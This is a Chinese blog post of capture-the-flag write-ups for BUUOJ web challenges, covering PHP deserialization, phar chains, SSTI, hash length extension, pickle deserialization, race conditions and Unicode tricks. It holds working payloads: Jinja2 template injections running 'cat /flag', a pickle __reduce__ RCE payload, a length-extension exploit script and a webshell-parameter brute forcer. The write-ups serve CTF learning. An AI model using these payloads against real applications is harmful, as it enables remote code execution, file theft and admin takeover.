BUUOJ – web – 刷题记录 2

发布于 2020-05-29  2927 次阅读


BUUOJ–web–刷题记录2

XXE

SSRF

UNSERIALIZE

[BJDCTF 2nd]old-hack

TP5.0.23反序列化rce网上exp直接就可以打了:

file

[0CTF 2016]piapiapia

php反序列化长度变化尾部字符串逃逸导致的任意文件读取。

首先有个登陆界面,什么提示都没有,尝试了一下www.zip,发现有源码泄露,关键代码:

<?php
    /*config.php*/
    $config['hostname'] = '127.0.0.1';
    $config['username'] = 'root';
    $config['password'] = '';
    $config['database'] = '';
    $flag = '';
?>

<?php
    /*$profile.php*/
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');   
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

<?php
/*class.php*/
require('config.php');

class user extends mysql{
    private $table = 'users';
    public function show_profile($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
}

class mysql {

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
}
session_start();
$user = new user();
$user->connect($config);

可以看到flag在config.php这个文件里,想要获取到flag最简单就是任意文件读取,网站有一个图片上传的位置,但是上传文件名被重新base64编码了,所以应该不是传shell。
看一下这个代码,如果这里可以控制photo参数,就可以任意文件读取了,继续跟进update.php中的这个数组,photo参数并不算是可控的,不过上面的nickname可控:

file

到这里先了解一下什么是“php反序列化长度变化尾部字符串逃逸”,看下面一段代码:
file

这里在序列化对象后面多了一串字符串,可是对象还是正常反序列化输出了,这是因为前面的部分已经符合了正常的序列化,因此后续的字符串被忽略。

这里:如果字符串中有where字符,由于是先序列化后进行的过滤操作,导致会逃逸出一个字符。所以如果在nickname中构造一个photo属性,并且造成溢出,将后面的原来的photo忽略掉,就可以使photo可控。

但是构造序列化对象,就是必有违法字符:
file

绕过很简单,传一个nickname数组即可,所以最后的payload:
file

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

file
上传之后,看源码,base64解密得到flag
file

[CISCN2019 华北赛区 Day1 Web1]Dropbox

任意文件读取+phar反序列化。

打开题目,先注册,然后登陆,发现文件上传的地方,随便上传一个,看到 下载,删除两个功能。下载抓包看一下:
file

可以任意文件下载,拿到源码审一下,给出关键代码:

<?php
/*download.php*/
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

<?php
/*delete.php*/
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

<?php
/*class.php*/
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

看一下delete功能:
file
跟进File()方法:
file

file

unlink()这个函数支持伪协议,也就是说可以使用phar://,看了以下代码,close()方法可以读取文件,在User()类中__destruct()会执行close()方法,所以大致思路就是创建一个User对象db属性为File对象,这样在User销毁时会触发close(),而File对象中的filename属性又是可控,所以可以达到任意文件读取:
file

file

但是这条攻击链并没有会显得位置,继续挖掘回显得位置,这个位置是在FileList对象中的__destruct()方法:

file

可以看到只要能调用FileList中的__call()方法就可以有回显,所以最终攻击链:先创建一个User对象,db属性为Filelist对象,让Filelist对象的files属性为file对象,因为Filelist对象并没有close()方法,所以会触发__call()方法,File对象触发的close()方法的结果会被__call()方法打印出来:

file

最后通过delete功能执行phar反序列化:

file

PYTHON

[BJDCTF 2nd]fake google

SSTI:

payload:?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
file

SSRFME

拿到题就是代码审计

有三个路由,分别是获取签名(geneSign),执行读写功能(De1ta),index页面。思路大概就是通过geneSign获取flag.txt的签名,然后通过De1ta把flag读出来。

给出代码:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)                                                         #返回长度为16的随机字符串

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):                                       #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))                           #默认返回的scan的签名
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))                            #传入Exec函数的方法
    param = urllib.unquote(request.args.get("param", ""))                           #传入要执行的url
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()                     #这个地方可能是hash长度扩展攻击

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

先看一下获取签名的这个点:

可以看到,源码只提供 'scan' 的签名,这样的话,就只能将flag.txt写入result.txt:

跟进这个getSign方法:

一个很明显的hash长度扩展攻击了,这里使用hashpump:

0x01:

手动操作:

获取签名:

flag.txt读入:

因为,题目中的随机字符串是16位,加上flag.txt,就是24位(https://www.cnblogs.com/pcat/p/5478509.html):

得到的字符串,现将\x转为%再发包:

0x02:

写了一个脚本,直接跑出:

import requests
import hashpumpy

url = "http://a0e60bff-324e-4b60-b7bc-deb311467873.node1.buuoj.cn/"
data = {'param':'flag.txt'}

def ssign():
        surl = url + 'geneSign'
        return requests.get(url=surl, params=data).text

def write():
        wurl = url + 'De1ta'
        sign = ssign()
        cookies = {
        'sign': sign,
        'action': 'scan'
        }
        r = requests.get(url=wurl, params=data, cookies=cookies)
        print(r.text)

def read():
        rurl = url + 'De1ta'
        sign = ssign()
        hash = hashp(sign)
        hash1 = hash[0]
        hash2 = str(hash[1])
        hash2 = hash2[2:-1]
        hash2 = hash2.replace('\\x','%')
        cookies = {
        'sign': hash1,
        'action': hash2
        }
        r=requests.get(url=rurl, params=data, cookies=cookies)
        print(r.text)

def hashp(sign):
        return hashpumpy.hashpump(sign, 'scan', 'read', 24)

if __name__ == '__main__':
        write()
        read()

easy_tornado

看到题目,那肯定是考tornado模板注入了,先看一下几个文件:

差不多就应该是,通过构造md5(cookie_secret+md5(/fllllllllllllag)) 然后读取flag,获得cookie_secret的方法就应该是模板注入,测试了一下,应该是在报错的这个位置,但是会有过滤:

查看一下文档,发现了cookie_secret应该是存放在Application的:

在看一下这篇文章https://www.cnblogs.com/bwangel23/p/4858870.html 就知道可以通过访问handler.settings来获取cookie_secret:

脚本

import hashlib
while 1:
    filename = input('filename=')
    md5file = hashlib.md5(str(filename).encode()).hexdigest()
    n = 1
    a = 'de154920-3e90-4dde-a781-2ab622808eff'
    md5_ = a+md5file
    md5=hashlib.md5(str(md5_).encode()).hexdigest()
    print(str(md5))

最后构造url获得flag

admin

这道题三个解法:

需要管理员登陆才会给flag,首先是找回密码的地方给了个提示:

拿到源码,代码审计:

0x00:

Unicode的问题:

    **可以看到,三个位置都是strlower()这个方法小写字符串,查了一下nodeprep.prepare的问题:它会将ᴬᴮᴰᴱᴳᴴᴵᴶᴷᴸᴹᴺᴼᴾᴿᵀᵁᵂ这些字符串转化为大写字母(低版本Twisted处理unicode堆在存在的幂等性攻击。PS:Python版本大于等于2.5,只找到这几个字母,不知道其他的去哪了)注册一个ᴬdmin账号,然后用ᴬdmin登陆:**

    **然后用Admin修改密码,即可修改admin的密码**

0x01:

伪造flask的session:

    **先看一个文章:https://www.leavesongs.com/PENETRATION/client-session-security.html这里讲解了flask的这个session是可以解密的**

这里就可以构造session,伪造admin登陆,GitHub一个项目:https://github.com/shonenada/flask-captcha

0x02:

条件竞争:

    **是由于登陆和改密码的位置都没有对session进行check导致:**

先注册一个cl4y/111111的用户,然后不断地运行 '登陆-改密码' 的进程1,在建立一个 '注销-以admin登陆' 的进程2。当进程1运行到改密码,进程2运行到以admin登陆的时候,进程2会把进程1的name改成admin,这时就修改了admin的密码。贴上脚本,不过我一直没跑出来,希望师傅们能帮助一下qwq:

# -*- coding:utf-8 -*-

import requests,re
from multiprocessing import Process
import time

url = "http://edef05f1-b177-42b8-a907-ed588fee6082.node1.buuoj.cn"
cl4y = 'cl4y'
pswd = '111111'
admin = 'admin'

def login(s,username,password):
    inurl = url+'/login'
    data={
    'username': username,
    'password': password
    }
    return s.post(url=inurl,data=data)

def logout(s):
    outurl = url+'/logout'
    return s.get(url=outurl)

def change(s,newpassword):
    churl = url+'/change'
    data={
    'newpassword': newpassword
    }
    return s.post(url=churl,data=data)

def func1(s):
    login(s,cl4y,pswd)
    change(s,pswd)

def func2(s):
    logout(s)
    r = login(s,admin,pswd)
    if 'admin' in r.text:
        print('finish')

def main():
    for i in range(1,100000):
        print(i)
        s = requests.Session()
        p1 = Process(target=func1,args=(s,))
        p2 = Process(target=func2,args=(s,))
        p1.start()
        p2.start()

if __name__ == '__main__':
    main()

[CISCN2019 华北赛区 Day1 Web2]ikun

知识点:

  • 薅羊毛与逻辑漏洞
  • cookie伪造(有非预期)
  • python反序列化

嗯 没错 我找到非预期了,原题考了一下 jwt伪造,但是有个逻辑漏洞 绕过了伪造jwt这个点,稍后再讲,一步一步来。

薅羊毛

很正常的一个注册账号,然后登陆进去看到提示说要卖到vip6,但是翻了几页没有vip6的地方,一开始还以为是要利用逻辑漏洞 伪造一个vip6的商品,测试了半天倒是先测试出了薅羊毛:
file

这个地方修改折扣为0.0000001
file

这里其实是写一个脚本来遍历商品,找到那个vip6的位置,一开始没用多线程,是真的慢,虽然做出来了,但是不满意,我是真的挺愿意用一个小时的时间,来想怎么把十分钟的事用五分钟做完,写了个多线程:

import requests,threading

res = 1
def payload(j):
    global res
    k = j+40
    for i in range(j,k):
        url = "http://b3a20ea5-9720-4c00-8dc8-aa0ebd0986ce.node3.buuoj.cn/shop?page={}".format(i)
        if res == 0:
            exit();
        try:
            r=requests.get(url=url)
        except:
            pass
        if 'lv6.png' in r.text:
            print(url)
            res = 0
            exit()
        else:
            print(i)

t1 = threading.Thread(target=payload, args=(0,))
t2 = threading.Thread(target=payload, args=(41,))
t3 = threading.Thread(target=payload, args=(81,))
t4 = threading.Thread(target=payload, args=(121,))
t5 = threading.Thread(target=payload, args=(161,))
t6 = threading.Thread(target=payload, args=(201,))
t1.start()
t2.start()
t3.start()
t4.start()
t5.start()
t6.start()

file

跑出来然后就是薅羊毛,进入到下一步:
file

jwt伪造

正解就是先跑出jwt密钥,用这个工具:https://github.com/brendan-rius/c-jwt-cracker
file

伪造
file

下一步
file

因为是hackbar发包的,所以直接把跳转的链接复制过来发包绕过了jwt验证,后来跟赵总讨论了一下,发现是因为jwt验证不合格:
file

可以看到get方式发包验证了jwt,而post没有,所以改变发包方式就可以绕过。

python反序列化

html源码有两个点,一个是内鬼给了网站源码,一个是隐藏属性的输入框:
关键代码:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib

class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

这里很明显的python反序列化,用到了__reduce__()这个魔术方法,这个文章挺好的:http://www.polaris-lab.com/index.php/archives/178/
给脚本:

import os
import pickle
import urllib

class test(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()",))

a=test()
payload=pickle.dumps(a)
payload = urllib.quote(payload)
print payload

这里的payload命令不唯一
file

[SUCTF 2019]Pythonginx

题目直接给出代码 :

file

一开始以为ssrf,尝试无果看了一下wp,是HostSplit attack的问题,写了篇文章,然后原文是这个PDF

fuzz了一下 找到了一个可用字符%E2%84%82

def exp():
    h = getchar()
    for x in range(65536):
        a = chr(x)
        try:
            if code(a,h):
                print("str: "+a+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass

def getchar():
    char = input('input a char:')
    return char

def code(s,h):
    s = s.encode('idna').decode('utf-8')
    if s == h:
        return True
    else:
        return False

if __name__ == "__main__":
    exp()

利用之后可以绕过 达到任意文件读取:

file

然后找到flag:
file

file

[WesternCTF2018]shrine

flask-ssti模板注入

源码:

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

flag存放于config中,需要绕过黑名单(黑名单中的内容被替换为空)和括号。
python的内置函数url_for和get_flashed_messages。

url_for:

注入{url_for.__globals__}得到:
file
current_app是当前app,继续注入当前app的config {url_for.__globals__['current_app'].config}
file

get_flashed_messages

这个函数同理:
file

[BJDCTF2020]The mystery of ip

SSTI
XFF注入:
file

[CISCN2019 华东南赛区]Double Secret

按题目提示,脑洞出来一个secret路由:
file

后端把secret做了加密,当我尝试传12345的时候,发生了报错,后端代码:
file

rce加密,上网找到一个脚本,加密sstiPayload:

import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt

def rc4_init_sbox(key):
    s_box = list(range(256)) 
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure"  #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)

ssti之前的文章详细的写过了,这里就不多讲了。直接给payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()") }}{% endif %}{% endfor %}

file

[watevrCTF-2019]Cookie Store

session伪造:
flask的session是保存在客户端的,伪造即可:
file

改成500,base64加密后得到就能买到flag了

[FBCTF2019]Event

ssti session伪造
先登录,flag需要admin用户才能查看,cookie中有一个user参数包含了我们的用户
file

需要知道秘钥才能进行伪造,通过ssti获取秘钥,注入点在event_important这个参数。
event_important=class.init.globals[app].config
file
然后伪造即可

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
    print(session_serializer.dumps("admin"))

index()

file

MISC

高明的黑客

下载源码发现是有代码混淆的shell:

大概思路就是先用正则提取出GET POST参数 然后爆破,传入参数:echo "cl4y",如果回显出线了cl4y,说明找到了结果,贴出脚本:

# -*- coding: UTF-8 -*-

import re, requests, os
from multiprocessing import Pool

mpath = "D:\\***\\***\\www\\src\\"
files = os.listdir(mpath)
url = "http://75adf37a-8f0a-44a0-ac1b-b8353f1a69ed.node1.buuoj.cn/"
filenum = len(files)
group = filenum/4
group = int(group)

def getss(p):
    datas = []
    with open(p) as file:
        for line in file.readlines():
            if "$_GET" in line:
                data = re.findall(r"'(.*)']", line,re.S)[0]
                datas.append(data)
    return datas

def postss(p):
    datas = []  
    with open(p) as file:
        for line in file.readlines():
            if "$_POST" in line:              
                data = re.findall(r"'(.*)']", line,re.S)[0]
                datas.append(data)
    return datas

def gexp(start,end):
    for i in range(start,end):
        doc = files[i]
        print(doc)
        path = mpath+doc
        surl = url+doc
        gets = getss(path)
        for get in gets:
            shell = {get : 'echo "cl4y"'}
            r = requests.get(surl,params=shell)
            if "cl4y" in r.text:
                    print("shell is in: "+doc)
                    print("GET: "+get)
                    print("___________________YES___________________")

def pexp(start,end):
    for i in range(start,end):
        doc = files[i]
        path = mpath+doc
        surl = url+doc
        posts = postss(path)
        for post in posts:
            shell = {post : 'echo "cl4y"'}
            r = requests.post(surl,data=shell)
            if "cl4y" in r.text:
                    print("shell is in: "+doc)
                    print("POST: "+post)
                    print("___________________YES___________________")

if __name__ == "__main__":
    print('start_get')
    pg = Pool(4)
    for i in range(0,filenum,group):
        pg.apply_async(gexp,(i,i+group))
    pg.close()
    pg.join()

    # print('start_post')
    # pp = Pool(15)
    # for i in range(0,filenum,group):
    #   pp.apply_async(pexp,(i,i+group))
    # pp.close()
    # pp.join()

因为有请求限制,跑的有点慢:

[RoarCTF 2019]Easy Java

WEB-INF文件泄露。

  • WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。
  • Nginx在映射静态文件时,把WEB-INF目录映射进去,而又没有做Nginx的相关安全配置(或Nginx自身一些缺陷影响)。从而导致通过Nginx访问到Tomcat的WEB-INF目录

登陆界面点击help发现文件读取java.io.FileNotFoundException方法,改用post可以获取文件,首先获取一下web.xml:
file

访问/Flag:
file

报错信息给出了Flag的源码位置,通过文件读取访问:
file

解码后得到flag。

[ZJCTF 2019]NiZhuanSiWei

php伪协议

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
  1. data协议传入一个文件内容为welcome to the zjctf的文件
  2. filter使用base63读文件
  3. 反序列化拿到flag

file

[ASIS 2019]Unicorn shop

还是Unicode编码问题,博客文章有介绍,就不多说了。买第四个商品就能拿到flag,但是price只允许输入一个字符,https://www.compart.com/en/unicode/ 这个网站找到那个只用一个字符就能表示比1337大的字符就行了(有很多):
file

[BSidesCF 2019]Kookie

登陆 改cookie为admin即可

[BSidesCF 2019]Futurella

f12看源码即可

[GWCTF 2019]我有一个数据库

cve-2018-12613-PhpMyadmin后台文件包含

找到有phpmyadmin版本是4.8.1,这个版本有后台文件包含cve,结合session文件即可getshell:
file
file

[GWCTF 2019]枯燥的抽奖

php-mt_rand()随机数种子暴破

脚本:

str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = input('pless input rand: ')      #'QgEvTuc8R2'
str3 = str1[::-1]
length = len(str2)
res = ''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
            break

print(res)

结果:
file
爆破工具:php_mt_seed-PHP mt_rand()种子破解程序
结果:
file
得到随机数:
file

[ACTF2020 新生赛]Include

filter-base64文件包含

[ACTF2020 新生赛]BackupFile

bak文件备份,弱类型

[BJDCTF2020]Mark loves cat

.git文件泄露,变量覆盖

GitTools扫一下然后恢复文件看到源码:

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

还挺绕的:
file

file

[ACTF2020 新生赛]Upload

php别名:
file

[GXYCTF2019]BabyUpload

参考[SUCTF 2019]EasyWeb

warm_up

<?php
$_page = urldecode($page);
$_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}
echo "you can't see it";
return false;
?>

最后payload:/source.php?file=source.php%253f/../../../../../../../ffffllllaaaagggg

[BJDCTF 2nd]假猪套天下第一

修改很多request header得到flag:
file
file


既然热爱,就坚持下去。